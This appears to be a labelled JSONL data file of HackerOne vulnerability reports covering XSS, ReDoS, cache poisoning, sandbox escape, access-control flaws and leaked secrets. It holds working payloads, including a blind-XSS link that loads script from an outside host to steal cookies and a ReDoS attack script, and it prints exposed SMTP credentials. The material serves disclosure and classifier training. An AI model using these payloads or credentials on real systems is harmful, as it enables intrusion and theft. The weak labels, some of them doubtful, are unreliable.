-{"id": "466c1d71a2ef0eaf079a", "text": "[Improper Restriction of Authentication Attempts] Memcached used as RateLimiter backend is no-op\n\n## Summary:\nWhen Memcached is used as backend:\nhttps://github.com/nextcloud/server/blob/c705b8fcb3de7910e67cd2ed2d2b38653f58962a/lib/private/Server.php#L787-L799\n\nThe following code block is problematic:\nhttps://github.com/nextcloud/server/blob/90104bc1c448c6da2fd3e052fca75bb3fb261c87/lib/private/Memcache/Memcached.php#L135-L139\n\nI guess we need to check the actual cache type and use the DB backend when Memcached is used?\n\n## Impact\n\nAny action that partly resets any cache entry will wipe rate limit attempts and future bruteforce protection (with https://github.com/nextcloud/server/pull/39870 )", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "792d96fec942aac8b43d", "text": "[Privilege Escalation] Permissions policies can be bypassed via process.mainModule\n\n**Summary:** \nPermissions policies module can be bypassed via `process.mainModule.require`\n\n**Description:**\nPermission policies allow to run a script with a specific set of authorized node js built-in modules.\nHowever, the script could access non authorized modules by calling `process.mainModule.require()`\n\n## Steps To Reproduce:\n\n  1. Create `escape.js` file:\n```\nconsole.log(process.mainModule.require(\"os\").cpus());\n```\n  2. Create `policy.json` file:\n```\n{\n  \"onerror\": \"exit\",\n  \"scopes\": {\n    \"file:\": {\n      \"integrity\": true,\n      \"dependencies\": {}\n    }\n  }\n}\n```\n\n  3. Run:\n```\nnode --experimental-policy=policy.json escape.js\n```\n4. You will see your os cpus listed in the console even though the `escape.js` file does not have the permission to import the node`os` module\n\n## Impact: \nPermission policies are supposed to enforce imported modules to a limited whitelist.\nThis vulnerability allow a script to include any non-whitelisted module.\n\nIf you modify `escape.js` to use top level `require` statement, like this:\n```\nconst os = require(\"os\");\nconsole.log(os.cpus());\n```\nand run again:\n```\nnode --experimental-policy=policy.json escape.js\n```\nyou'll now see this error:\n```\nError [ERR_MANIFEST_DEPENDENCY_MISSING]: Manifest resource escape.js does not list os as a dependency specifier for conditions: require, node, node-addons\n```\nwhich is the expected behavior and should be enforced as well when using `process.mainModule.require`\n\n## Impact\n\nAny project that uses permission policies for arbitrary code execution are vulnerable to sandbox escaping.\nThis example show a non-critical permission gain (listing the machine cpu), but an attacker could do much more damage by accessing internal file system, running child processes, ...", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6fd95e183d6010bb1dc1", "text": "[Code Injection] [hta3] Remote Code Execution on  https://███ via improper access control to SCORM Zip upload/import\n\n## Summary:\nThere is a Remote Code Execution vulnerability at https://█████████/Kview/CustomCodeBehind/base/courseware/scorm/management/scorm2004uploadcourse.aspx which allows any user to upload a SCORM course package. Furthermore, an attacker can add an ASPX shell to the SCORM package which will then get extracted onto the server, where the attacker can then execute commands.\n\n## Steps To Reproduce:\n\n  1. Visit `https://███████/` and log in with the credentials: `██████████`\n  2. Now download this \"malicious\" SCORM course package: █████\n  3. If you `unzip scorm.zip`, you will notice this is a valid SCORM [package](https://scorm.com/scorm-explained/technical-scorm/content-packaging/), and you will also notice that I've included an ASPX file in `shared/cdlcdlcdl.aspx` which runs the `whoami` command. Notice I also included that file reference in the Scorm Manifest (`imsmanifest.xml`)\n4. Visit https://████████/Kview/CustomCodeBehind/base/courseware/scorm/management/scorm2004uploadcourse.aspx, select the ██████ file. Start **intercepting** in Burp Suite Repeater. \n5. Forward the POST request to `/Kview/CustomCodeBehind/base/courseware/scorm/management/scorm2004uploadcourse.aspx`\n6. Now intercept the request to `/Kview/CustomCodeBehind/base/courseware/scorm/management/scorm2004editmetadata.aspx`\n7. Right-Click on it, Hover down to \"Do intercept\" and click \"response to this request\" then forward it.  (In your web-browser you might be able to just right-click, inspect-element, and search for strCourseId in there but my browser was being funky).\n8. Once you've received the response, search for \"strCourseId\" and grab it.\n\nFor example, you would grab `F6BAC72B45D64B34ACB662BB001D8523` out of the following response:\n\n```html\n<a onclick=\"return&#32;ConfirmBeforeNavigateAway(&#39;Are&#32;you&#32;sure&#32;you&#32;want&#32;to&#32;navigate&#32;away&#32;from&#32;this&#32;page?&#32;\\n\\nYou&#32;made&#32;changes&#32;that&#32;will&#32;not&#32;be&#32;saved&#32;if&#32;you&#32;continue.&#32;\\n\\nClick&#32;OK&#32;to&#32;proceed&#32;or&#32;Cancel&#32;to&#32;return&#32;to&#32;the&#32;page.&#39;);\" id=\"ML.BASE.WF.ReuploadCourse\" class=\"WorkflowButton\" NavigatingURL=\"Courseware/SCORM/Management/SCORM2004ReuploadCourse.aspx\" ItemId=\"&lt;IDTable&gt;&lt;strCourseId&gt;F6BAC72B45D64B34ACB662BB001D8523&lt;/strCourseId&gt;&lt;strVersionId&gt;F6BAC72B45D64B34ACB662BB001D8523&lt;/strVersionId&gt;&lt;/IDTable&gt;\" href=\"javascript:__doPostBack(&#39;ML.BASE.WF.ReuploadCourse&#39;,&#39;&#39;)\"><span>Course Files</span></a>\n```\n9. Now, visit `https://█████/CServer/Courseware/<YOUR_COURSE_ID>/shared/cdlcdlcdl.aspx` and you will see the shell executes:\n\n███\n\n## Supporting Material/References:\n- https://█████/CServer/Courseware/F6BAC72B45D64B34ACB662BB001D8523/shared/cdlcdlcdl.aspx\n\n## Proof-of-Concept Video\n█████████\n\n## Impact\n\nCritical, an attacker can execute commands on this military server, steal sensitive information, pivot to internal systems, etc.\n\nBest,\n@cdcl", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1ff978ec4328bcc17aa7", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS\n\n**Description:**\nHi i found a XSS at a new IP Address (ssl points to ███hostname)\n\n\nhttps://███████/WebPuff5.4/Login?signIn=Sign%20In&password=g00dPa%24%24w0rD&url=login.jsp%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Ealert(9868)%3C/ScRiPt%3E&username=tMtFQiRt\n\n## References\nhttps://owasp.org/www-community/attacks/xss/\n\n## Impact\n\nWith the help of xss a hacker or attacker can perform social engineering on users by redirecting them from real website to fake one. hacker can steal their cookies and download a malware on their system, and there are many more attacking scenarios a skilled attacker can perform with xss.\n\n## System Host(s)\n███████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nclick here and a alert will popup https://█████/WebPuff5.4/Login?signIn=Sign%20In&password=g00dPa%24%24w0rD&url=login.jsp%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Ealert(9868)%3C/ScRiPt%3E&username=tMtFQiRt\n\n## Suggested Mitigation/Remediation Actions\nSanitize special character in the url", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ff9175e5450a9dd2c03f", "text": "[Unknown] ReDoS in Rack::Multipart\n\nHello, I found ReDoS on Rack.\n\nI found this problem using `recheck` (https://makenowjust-labs.github.io/recheck/), a ReDoS detection tool.\n\nThis tool has found multiple places where there seems to be a problem with the rack code, but since there are many and it takes time to check the behavior, I will first report on `Rack::Multipart::RFC2183`, which is the most dangerous.\nThis is detected as exponential by recheck.\n\n- https://github.com/rack/rack/blob/2.2.3/lib/rack/multipart.rb#L38\n- https://github.com/rack/rack/blob/2.2.3/lib/rack/multipart/parser.rb#L296\n\n```ruby\n❯ bundle exec irb\nirb(main):001:0> require 'rack'\n=> true\nirb(main):002:0> Rack::Multipart::RFC2183\n=> /^(?i-mx:Content-Disposition:\\s*(?-mix:[^\\s()<>,;:\\\\\"\\/\\[\\]?=]+)\\s*)((?-mix:;\\s*(?:(?-mix:((?-mix:(?-mix:(?-mix:[^ \\t\\v\\n\\r)(><@,;:\\\\\"\\/\\[\\]?='*%])+)(?-mix:\\*[0-9]+)?))=((?-mix:\"(?:\\\\\"|[^\"])*\"|(?-mix:[^\\s()<>,;:\\\\\"\\/\\[\\]?=]+))))|(?-mix:(?-mix:((?-mix:(?-mix:(?-mix:[^ \\t\\v\\n\\r)(><@,;:\\\\\"\\/\\[\\]?='*%])+)(?:\\*0)?\\*))=((?-mix:[a-zA-Z0-9\\-]*'[a-zA-Z0-9\\-]*'(?-mix:%[0-9a-fA-F]{2}|(?-mix:[^ \\t\\v\\n\\r)(><@,;:\\\\\"\\/\\[\\]?='*%]))*)))|(?-mix:((?-mix:(?-mix:(?-mix:[^ \\t\\v\\n\\r)(><@,;:\\\\\"\\/\\[\\]?='*%])+)\\*[1-9][0-9]*\\*))=((?-mix:%[0-9a-fA-F]{2}|(?-mix:[^ \\t\\v\\n\\r)(><@,;:\\\\\"\\/\\[\\]?='*%]))*))))\\s*))+$/i\n```\n\n\n### benchmark\n\nrfc2183_benchmark.rb\n\n```ruby\nrequire 'benchmark'\nrequire 'rack'\n\nregexp = Rack::Multipart::RFC2183\n\ndef attack_text(length)\n \"Content-Disposition:G;\\f=\\\"\"  + \"=;1=\\\";\\fD=\\\";t*1*\" * length + '='\nend\n\nBenchmark.bm do |x|\n  x.report { attack_text(5)[regexp] }\n  x.report { attack_text(10)[regexp] }\n  x.report { attack_text(15)[regexp] }\n  x.report { attack_text(20)[regexp] }\n  x.report { attack_text(25)[regexp] }\n  x.report { attack_text(26)[regexp] }\nend\n```\n\n```\n❯ bundle exec ruby rfc2183_benchmark.rb\n       user     system      total        real\n   0.000018   0.000004   0.000022 (  0.000016)\n   0.000357   0.000000   0.000357 (  0.000361)\n   0.010888   0.000018   0.010906 (  0.010961)\n   0.342814   0.000717   0.343531 (  0.344750)\n  10.925193   0.022059  10.947252 ( 10.979092)\n  21.906178   0.049380  21.955558 ( 22.024203)\n```\n\n\n### PoC\n\nGemfile\n\n```ruby\n# frozen_string_literal: true\n\nsource \"https://rubygems.org\"\n\ngem 'rack', '~> 2.2', '>= 2.2.3'\ngem 'puma', '~> 5.6', '>= 5.6.2'\n```\n\nconfig.ru\n\n```ruby\nclass Server\n  def call(env)\n    Rack::Request.new(env).params\n\n    [ 200, {}, []]\n  end\nend\n\nrun Server.new\n```\n\n```ruby\nrequire \"net/http\"\nrequire \"uri\"\n\nclass Net::HTTPGenericRequest\n\n  def encode_multipart_form_data(out, params, opt)\n    charset = opt[:charset]\n    boundary = opt[:boundary]\n    buf = ''\n    params.each do |key, value|\n      buf << \"--#{boundary}\\r\\n\"\n      buf << \"Content-Disposition:G;\\f=\\\"\"  + \"=;1=\\\";\\fD=\\\";t*1*\" * 27 + '='\n      buf << \"Content-Type: application/octet-stream\\r\\n\\r\\n\"\n\n      buf << \"content\"\n      buf << \"\\r\\n\"\n    end\n    buf << \"--#{boundary}--\\r\\n\"\n    flush_buffer(out, buf, false)\n  end\nend  \n\ndata = [[\"dummy\"]]\n\nurl = URI.parse('http://127.0.0.1:9292/')\nreq = Net::HTTP::Post.new(url.path)\nreq.set_form(data, \"multipart/form-data\")\n\nres = Net::HTTP.new(url.host, url.port).start do |http|\n  http.request(req)\nend\n```\n\n`bundle exec rackup` & `bundle exec ruby rfc2183_request.rb`\n\n## Impact\n\nWhen the client sends a specially crafted header, it occur ReDoS on the server side.\nI confirmed that the combination of puma, unicorn, puma + nginx, unicorn + nginx occur Redos.\n\nThere are several other places where `Rack::Multipart` is likely to be ReDoS, and it seems good to exclude it as a workaround if user do not use file upload.\n\n#### work around\n\n```ruby\nclass Rack::Request\n  def parse_multipart\n    nil\n  end\nend\n```", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5962625ba002a6daf113", "text": "[Cross-site Scripting (XSS) - Stored] Cache Poisoning allows redirection on JS files\n\nHi,\n\nI found the following Cache Poisoning vulnerability:\n\n1. Send the following request: ( this will poison `/test.js` into redirecting to `https://youst.in/test.js`) \n\n```http\nGET /test.js?cb=1 HTTP/2\nHost: design.glassdoor.com\nSec-Ch-Ua: \"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36\nSec-Ch-Ua-Platform: \"macOS\"\nAccept: text/css,*/*;q=0.1\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: no-cors\nSec-Fetch-Dest: style\nReferer: https://design.glassdoor.com/\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nX-Forwarded-Scheme:  http\nX-Forwarded-Host: youst.in\n\n```\n\n2. You should notice the `Cf-Cache-Status: MISS` header when first sending the request. After sending another request, you should see `Cf-Cache-Status: HIT`, confirming the redirect has been cached.\n\n3. You can also visit the url in a browser and notice you get redirect to `youst.in`.\n\n## Impact\n\nAn attacker can use the same attack against valid JS files leading to full control over the loaded JS. If any Glassdoor websites import javascript files from `https://design.glassdoor.com/*` they are susceptible to a Stored XSS attack via Cache Poisoning.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b74a479ba2e32333bd98", "text": "[Misconfiguration] Password reset token leakage\n\nReset Password link : http://hackers.upchieve.org/setpassword?token=a3c448b1eb9b982f93ec39a7181ec1a2\n\n1.Open Password reset page from email.\n2.Intercept the request(I have used burp suite)\n3.You can see the link for reset password in below requests\n\nPOST /j/collect?v=1&_v=j93&a=1038273919&t=pageview&_s=1&dl=https%3A%2F%2Fhackers.upchieve.org%2Fsetpassword%3Ftoken%3Da3c448b1eb9b982f93ec39a7181ec1a2&dp=%2Fsetpassword&ul=en-us&de=UTF-8&dt=UPchieve&sd=24-bit&sr=1366x768&vp=1366x657&je=0&_u=wCCAAUABAAAAAC~&jid=185704536&gjid=1537782490&cid=83313712.1632910097&tid=UA-133171872-1&_gid=1095396647.1632910097&_r=1&gtm=2ou9r0&z=1390812166 HTTP/2\nHost: www.google-analytics.com\nContent-Length: 0\nSec-Ch-Ua: \"Chromium\";v=\"93\", \" Not;A Brand\";v=\"99\"\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36\nSec-Ch-Ua-Platform: \"Windows\"\nContent-Type: text/plain\nAccept: */*\nOrigin: https://hackers.upchieve.org\nSec-Fetch-Site: cross-site\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\n\nPOC video : recording-1632911031270.webm\n\n@thug645\n\n## Impact\n\nMisconfiguration", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "059bff18a4740bd4843d", "text": "[CRLF Injection] Control character filtering misses leading and trailing whitespace in file and folder names\n\n## Summary:\nIt is possible to create files and folders that have leading and trailing `\\n`, `\\r`, `\\t`, and `\\v` characters. The server rejects files and folders that have these characters in the middle of their names, so this might be an opportunity for injection.\n\nIn `lib/private/Files/Storage/Common.php`, the filename is trimmed before being checked for control characters:\n\n```\n        556         protected function verifyPosixPath($fileName) {\n        557                 $fileName = trim($fileName);\n        558                 $this->scanForInvalidCharacters($fileName, \"\\\\/\");\n        ...\n        570         private function scanForInvalidCharacters($fileName, $invalidChars) {\n        571                 foreach (str_split($invalidChars) as $char) {\n        572                         if (strpos($fileName, $char) !== false) {\n        573                                 throw new InvalidCharacterInPathException();\n        574                         }\n        575                 }\n        576\n        577                 $sanitizedFileName = filter_var($fileName, FILTER_UNSAFE_RAW, FILTER_FLAG_STRIP_LOW);\n        578                 if ($sanitizedFileName !== $fileName) {\n        579                         throw new InvalidCharacterInPathException();\n        580                 }\n        581         }\n```\n\n## Steps To Reproduce:\n  1. Create a file with an HTTP request of `PUT /remote.php/webdav/%09%0a%0b%0dfile%09%0a%0b%0d`...\n  1. Browse to `http://NEXTCLOUD_HOST/index.php/apps/files/` and notice that the file has been created.\n  1. Run `ls` in the data directory to see that the filename contains control characters.\n\nor,\n\n  1. Create a folder with an HTTP request of `MKCOL /remote.php/dav/files/user/%09%0a%0b%0ddir%09%0a%0b%0d`...\n  1. Browse to `http://NEXTCLOUD_HOST/index.php/apps/files/` and notice that the folder has been created.\n  1. Run `ls` in the data directory to see that the folder's name contains control characters.\n\n## Supporting Material/References:\n\n  * The result of `ls` in the data directory: F1516406.\n\n## Impact\n\nThis may just be a hardening issue, but if the file or directory names are inserted into an HTTP response unfiltered, CRLF injection may occur.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8f64f83c192fc8812024", "text": "[Improper Access Control - Generic] Orders full read for a staff with only `Customers` permissions.\n\n## Summary:\nA staff with only `Customers` permission can get full information about shop's orders. I consider it as an issue, because in Shopify's documentation it is explicitly said that you must have `Orders` (`read_orders`) permissions to be able to read shop's orders:\n{F1504156} \nhttps://shopify.dev/api/usage/access-scopes\n\nPrerequisite:\n1. Shopify Chat App must be installed\n\n## Steps To Reproduce:\n1. Create a staff with only `Customers` permission.\n2. As a staff use this query in your shop:\n\n```\nPOST /admin/internal/web/graphql/core HTTP/2\nHost: scara31-store4.myshopify.com\nCookie: _secure_admin_session_id=████; _secure_admin_session_id_csrf=██████; _master_udr=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaEpJaWxtTldaaU5tWTFOQzFpT0RjMExUUTRZV010WVdWbVpTMWpORGMyTWpFek9HTXpPRE1HT2daRlJnPT0iLCJleHAiOiIyMDIzLTExLTA1VDAyOjA2OjA0LjIzNFoiLCJwdXIiOiJjb29raWUuX21hc3Rlcl91ZHIifX0%3D--da4b3109537545abe8f385374146855a201c8e06; new_admin=1; koa.sid=███████; koa.sid.sig=█████; identity-state=BAhbAA%3D%3D--db43e3715865ca03e3123219ec91e34189be9380; localization=; cart_currency=USD; secure_customer_sig=; _secure_session_id=32a319afefb4a8db65b18c31bcef06c9; _orig_referrer=; _landing_page=%2Fpassword; _y=43c1de8a-a87e-4df0-9359-c9d280c8870e; _s=9591d751-2bb8-4b5e-a679-5d2909ed1aee; _shopify_y=43c1de8a-a87e-4df0-9359-c9d280c8870e; _shopify_s=9591d751-2bb8-4b5e-a679-5d2909ed1aee; _ab=1; __ssid=43a93231-9d89-439b-aed1-824ac0b6e93d\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nX-Shopify-Web-Force-Proxy: 1\nX-Csrf-Token: Xs1twjjo-U9Q9RgMvDrLMuEPTa-Xeyj3TKCw\nOrigin: https://scara31-store4.myshopify.com\nContent-Length: 156\nDnt: 1\nTe: trailers\n\n{\n\"query\":\"query MyQuery { node(id: \\\"gid://shopify/Customer/5639003504696\\\") { ... on HasEvents { events(first: 10) { edges { node { message } } } } } }\"\n}\n```\n\n\nYou can get customer's ID from Customers page. Use a customer that has some orders.\n3. Observe the response, which will contain something like this:\n\n```\n\"node\":{\n    \"message\":\"Order Confirmation email for order \\u003ca href=\\\"https:\\/\\/scara31-store4.myshopify.com\\/admin\\/orders\\/4242972409912\\\"\\u003e#1001\\u003c\\/a\\u003e sent to this customer (aaa@aa.com).\"\n}\n```\n\n\nFrom this response we can get customer's order number `#1001` and email `aaa@aa.com`.\n4. With installed Shopify Chat App go to the storefront -> Chat App -> Can I get an update on my order status? -> Enter order information\n5. Use the information about order you got earlier, follow the generated link and receive full information about order.\n\nTo make sure, that it is not an intended behaviour, use this query as a staff to get price of the order you earlier accesed:\n```\nPOST /admin/internal/web/graphql/core HTTP/2\nHost: scara31-store4.myshopify.com\nCookie: _secure_admin_session_id=███; _secure_admin_session_id_csrf=███; _master_udr=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaEpJaWxtTldaaU5tWTFOQzFpT0RjMExUUTRZV010WVdWbVpTMWpORGMyTWpFek9HTXpPRE1HT2daRlJnPT0iLCJleHAiOiIyMDIzLTExLTA1VDAyOjA2OjA0LjIzNFoiLCJwdXIiOiJjb29raWUuX21hc3Rlcl91ZHIifX0%3D--da4b3109537545abe8f385374146855a201c8e06; new_admin=1; koa.sid=████████; koa.sid.sig=███; identity-state=BAhbAA%3D%3D--db43e3715865ca03e3123219ec91e34189be9380; localization=; cart_currency=USD; secure_customer_sig=; _secure_session_id=32a319afefb4a8db65b18c31bcef06c9; _orig_referrer=; _landing_page=%2Fpassword; _y=43c1de8a-a87e-4df0-9359-c9d280c8870e; _s=9591d751-2bb8-4b5e-a679-5d2909ed1aee; _shopify_y=43c1de8a-a87e-4df0-9359-c9d280c8870e; _shopify_s=9591d751-2bb8-4b5e-a679-5d2909ed1aee; _ab=1; __ssid=43a93231-9d89-439b-aed1-824ac0b6e93d\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nX-Shopify-Web-Force-Proxy: 1\nX-Csrf-Token: Xs1twjjo-U9Q9RgMvDrLMuEPTa-Xeyj3TKCw\nOri", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b8f9907f2cb0d0c583e3", "text": "[UI Redressing (Clickjacking)] Clickjacking to change email address\n\n##Summary\n\n\n\nClickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages.\n\nIt allows remote attackers to do some clickjacking which can be used for adding arbitrary tasks . Why? Almost all of your page has missing X-FRAME-OPTIONS header.\n\nWebsites are at risk of a clickjacking attack when they allow content to be embedded within a frame.\n\n\n\n\n\n##Proof of concept code :- \n\nCopy the above code and paste it in notepad and save it with .html extention\nand open it in browser\n\n\n<html> \n<head> \n<title>Clickjack test page</title> \n</head> \n<body> \n<p>Website is vulnerable to clickjacking!</p>\n\n<iframe src=\"https://gener8ads.com/dashboard/account\"  sandbox=\"allow-top-navigation allow-same-origin allow-scripts\" width=\"500\" height=\"500\"></iframe> \n\n</body> \n</html>\n\n\nCopy and paste above given code and  save it with hack.html and  open it in browser\n\n\n\n------------------------------------------------------------------->\n\nRecommendation :- \n\nAdd X-FRAME-OPTIONS header to mitigate the issue\n\n## Impact\n\nAn attacker may use this risk to invisibly load the target website into their own site and trick users into clicking on links which they never intended to. An \"X-Frame-Options\" header should be sent by the server to either deny framing of content, only allow it from the same origin or allow it from a trusted URIs.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9713a477692a85a07481", "text": "[Information Disclosure] PHP Info Exposing Secrets at https://radio.mtn.bj/info\n\n## Summary:\nDuring recon I discovered a PHP Info file exposing environment variables such as; Laravel APP_KEY, Database username/password, SMTP username/password, etc.\n\n## Steps To Reproduce:\nVisit the following URL;\n```\nhttps://radio.mtn.bj/info\n```\nYou will be presented with a PHP Info file exposing environment / PHP Variables.\n\n## Further Information:\nI successfully sent an email using [python-smtp-mail-sending-tester](https://github.com/turbodog/python-smtp-mail-sending-tester) with the exposed credentials;\n```\n$ python smtptest.py -v -u eba@gbdesignweb.com -p w?#h#DLkAPa7 no-reply@mtn.bj pudsec@wearehackerone.com camembert.o2switch.net\n('usetls:', False)\n('usessl:', False)\n('from address:', 'no-reply@mtn.bj')\n('to address:', 'pudsec@wearehackerone.com')\n('server address:', 'camembert.o2switch.net')\n('server port:', 25)\n('smtp username:', 'eba@gbdesignweb.com')\nsmtp password: *****\n('smtplib debuglevel:', 0)\n-- Message body ---------------------\nFrom: no-reply@mtn.bj\nTo: pudsec@wearehackerone.com\nSubject: Test Message from smtptest at 2020-12-03 13:02:56\n\nTest message from the smtptest tool sent at 2020-12-03 13:02:56\n-------------------------------------\n```\n\nThe [APP_KEY](https://divinglaravel.com/app_key-is-a-secret-heres-what-its-used-for-how-you-can-rotate-it) being exposed can potential be abused as it's primary purpose is for encrypting cookies, creating signatures and encrypting/decrypting values.\n\n## Suggestions:\n* Never expose PHP Info\n* Change all passwords and APP_KEY\n\n## Impact\n\nExposing passwords to critical services.\nProviding application keys used for encryption/decryption within the app.\nSending email coming from an official email address.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "45a5a420ceb0e43d07e5", "text": "[Improper Access Control - Generic] Google dork lead to unsubscribe anyone from all Banfield emails\n\n## Summary:\nHi there,\n\nwhile checking on shodan i found an ip \"13.111.140.217\" which was issued to info.banfield.com.\n\nand this was giving me 404 status code. while checking on web archive i found out some link like:\n\nhttps://info.banfield.com/unsub-confirm?qs=9546b5587fbb95c5b3a14830c24ac1fe1c121408594657fcede21ae3dc4d5f308e77e063c684899e30e2a0eaadb128905d44ba371e41050fd4817ae60ed2fece919c87e1bca306f5\n\nwhen i did a google search i found out the endpoint for unsubscribe where i can unsubscribe any banfield users from their email without authentication and authorization.\n\nendpoint: https://info.banfield.com/unsub?EmailAddress=█████████\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n  1. do a google dork site:info.banfield.com\n  1.click on second link and it will direct you to https://info.banfield.com/unsub?EmailAddress=████████\n  1. put authenticated user email and confirm. This will lead to unsubscribe them from banfield emails.\n\nFor user enum or email enum this can be done from \n\nPOST /Security/SendClientIdMail HTTP/2\nHost: www.banfield.com\nCookie: ███████\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://www.banfield.com/\nContent-Type: application/x-www-form-urlencoded; charset=utf-8\nX-Requested-With: XMLHttpRequest\nContent-Length: 159\nOrigin: https://www.banfield.com\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\n\n__RequestVerificationToken=qBYfU3x7qqHqWdyKBzxZxsmqgsz2EDemFmpfyys2agu6FhVHrRQ_v2p7n40f7N46t3a9n51kgkkxQJN2qrNEX0JLMYo1&email=█████████&returnUrl=\n\nOn this there is no rate limit so email enum can be done.\n\n## Supporting Material/References:\n██████████\n\n  * [attachment / reference]\nI added screen shot as a proof of concepts. \n\nThank you very much. Wish you a good day.\n\n## Impact\n\nCan unsubscribe anyone from all Banfield emails", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c0a2490ec894cc37a3ab", "text": "[Cross-site Scripting (XSS) - Reflected] XSS Reflected on reddit.com via url path\n\nHi I found a XSS-R\n\nTo reproduce the issue please click the poc link and then press the \"verify email\" button\n\nPoC:\n\nhttps://www.reddit.com/verification/asd',%20alert(document.location),%20%27\n\n## Impact\n\nWith the help of XSS an attacker can steal your cookies, in many cases steal sessions, download malware onto your system and send a custom request.\nUsers can be socially engineered by the attacker by redirecting them from the real website to a fake one and there are many more attack scenarios that an expert attacker can perform with XSS.\nIt is also possible to inject html thus modifying the original page", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "46c9cb200f1c7b8bf11a", "text": "[Cross-site Scripting (XSS) - DOM] BlIND XSS on https://open.vanillaforums.com\n\nHello sir My name is Mohit Kumar and i'm a security researcher\ni found a bug in your website knows as Blind xss\n\n\n just open this link -- https://open.vanillaforums.com/search?Search=%22%3E%3Cscript+src%3Dhttps%3A%2F%2Fhackerookie.xss.ht%3E%3C%2Fscript%3E ---\ni will recieve your cookies and ip too\n\n## Impact\n\nHacker can get cookies of anyone", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
